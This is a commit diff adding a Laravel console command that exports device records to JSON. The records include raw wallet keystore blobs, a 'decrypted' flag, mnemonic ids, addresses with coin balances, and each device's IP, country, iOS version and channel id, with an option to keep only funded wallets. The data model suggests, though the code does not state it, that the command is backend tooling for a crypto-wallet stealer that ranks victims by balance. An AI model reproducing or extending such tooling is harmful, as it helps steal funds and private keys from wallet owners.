fix: db
This commit is contained in:
@@ -0,0 +1,169 @@
|
||||
<?php
|
||||
|
||||
namespace App\Console\Commands;
|
||||
|
||||
use App\Models\Device;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use Illuminate\Console\Command;
|
||||
use Illuminate\Database\Eloquent\Builder;
|
||||
|
||||
class ExportKeystoreDevicesCommand extends Command
|
||||
{
|
||||
protected $signature = 'coruna:export-keystore-devices
|
||||
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
|
||||
{--with-balance : Only devices that have at least one address with a non-zero coin}
|
||||
{--no-raw : Omit keystore raw_json blobs}';
|
||||
|
||||
protected $description = 'Export devices that have both a keystore and wallet addresses';
|
||||
|
||||
public function handle(): int
|
||||
{
|
||||
$path = trim((string) $this->option('path'));
|
||||
if ($path === '') {
|
||||
$path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
|
||||
} elseif (! str_starts_with($path, '/')) {
|
||||
$path = base_path($path);
|
||||
}
|
||||
|
||||
$dir = dirname($path);
|
||||
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
|
||||
$this->error('Cannot create directory: '.$dir);
|
||||
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$query = Device::query()
|
||||
->whereHas('keystores')
|
||||
->whereHas('addresses', function (Builder $q) {
|
||||
if ($this->option('with-balance')) {
|
||||
$q->where(function (Builder $inner) {
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$inner->orWhere($col, '>', 0);
|
||||
}
|
||||
});
|
||||
}
|
||||
})
|
||||
->orderBy('id');
|
||||
|
||||
$ids = $query->pluck('id');
|
||||
$fh = fopen($path, 'w');
|
||||
if ($fh === false) {
|
||||
$this->error('Cannot write: '.$path);
|
||||
|
||||
return self::FAILURE;
|
||||
}
|
||||
|
||||
$meta = [
|
||||
'exported_at' => now()->toIso8601String(),
|
||||
'with_balance' => (bool) $this->option('with-balance'),
|
||||
'include_raw' => ! $this->option('no-raw'),
|
||||
'device_count' => $ids->count(),
|
||||
];
|
||||
|
||||
fwrite($fh, "{\n");
|
||||
fwrite($fh, ' "exported_at": '.json_encode($meta['exported_at']).",\n");
|
||||
fwrite($fh, ' "with_balance": '.($meta['with_balance'] ? 'true' : 'false').",\n");
|
||||
fwrite($fh, ' "include_raw": '.($meta['include_raw'] ? 'true' : 'false').",\n");
|
||||
fwrite($fh, ' "device_count": '.$meta['device_count'].",\n");
|
||||
fwrite($fh, ' "devices": ['."\n");
|
||||
|
||||
$first = true;
|
||||
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
|
||||
foreach ($ids as $id) {
|
||||
$device = Device::query()->find($id);
|
||||
if (! $device) {
|
||||
continue;
|
||||
}
|
||||
$row = $this->serializeDevice($device);
|
||||
$encoded = json_encode($row, $flags);
|
||||
if ($encoded === false) {
|
||||
$this->warn('skip device '.$id.': json encode failed');
|
||||
|
||||
continue;
|
||||
}
|
||||
if (! $first) {
|
||||
fwrite($fh, ",\n");
|
||||
}
|
||||
$first = false;
|
||||
fwrite($fh, $encoded);
|
||||
$this->line(sprintf(
|
||||
'device %s keystores=%d addresses=%d',
|
||||
$device->device_id,
|
||||
count($row['keystores']),
|
||||
count($row['addresses']),
|
||||
));
|
||||
}
|
||||
|
||||
fwrite($fh, "\n ]\n}\n");
|
||||
fclose($fh);
|
||||
|
||||
$this->info('wrote '.$ids->count().' devices -> '.$path);
|
||||
|
||||
return self::SUCCESS;
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array<string, mixed>
|
||||
*/
|
||||
private function serializeDevice(Device $device): array
|
||||
{
|
||||
$includeRaw = ! $this->option('no-raw');
|
||||
$keystores = [];
|
||||
$ksQuery = WalletKeystore::query()->where('device_id', $device->id)->orderBy('id');
|
||||
if (! $includeRaw) {
|
||||
$ksQuery->select(WalletKeystore::listColumns());
|
||||
}
|
||||
foreach ($ksQuery->cursor() as $ks) {
|
||||
$item = [
|
||||
'id' => $ks->id,
|
||||
'source' => $ks->source,
|
||||
'decrypted' => (int) $ks->decrypted,
|
||||
'created_at' => optional($ks->created_at)?->toIso8601String(),
|
||||
];
|
||||
if ($includeRaw) {
|
||||
$item['raw_json'] = $ks->raw_json;
|
||||
} else {
|
||||
$item['raw_json_len'] = (int) ($ks->raw_json_len ?? 0);
|
||||
}
|
||||
$keystores[] = $item;
|
||||
$ks->setAttribute('raw_json', null);
|
||||
}
|
||||
|
||||
$addresses = [];
|
||||
foreach ($device->addresses()->orderBy('id')->cursor() as $addr) {
|
||||
$coins = [];
|
||||
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||
$raw = $addr->{$col};
|
||||
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||
continue;
|
||||
}
|
||||
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||
}
|
||||
$addresses[] = [
|
||||
'id' => $addr->id,
|
||||
'address' => $addr->address,
|
||||
'chain_type' => $addr->chain_type,
|
||||
'source' => $addr->source,
|
||||
'mnemonic_id' => $addr->mnemonic_id,
|
||||
'derive_index' => $addr->derive_index,
|
||||
'coins' => $coins,
|
||||
];
|
||||
}
|
||||
|
||||
return [
|
||||
'id' => $device->id,
|
||||
'device_id' => $device->device_id,
|
||||
'channel_id' => $device->channel_id,
|
||||
'model' => $device->device_model,
|
||||
'ios_version' => $device->ios_version,
|
||||
'ip' => $device->ip,
|
||||
'country' => $device->country,
|
||||
'wallet_names' => $device->walletNameList(),
|
||||
'keystore_count' => count($keystores),
|
||||
'address_count' => count($addresses),
|
||||
'keystores' => $keystores,
|
||||
'addresses' => $addresses,
|
||||
];
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user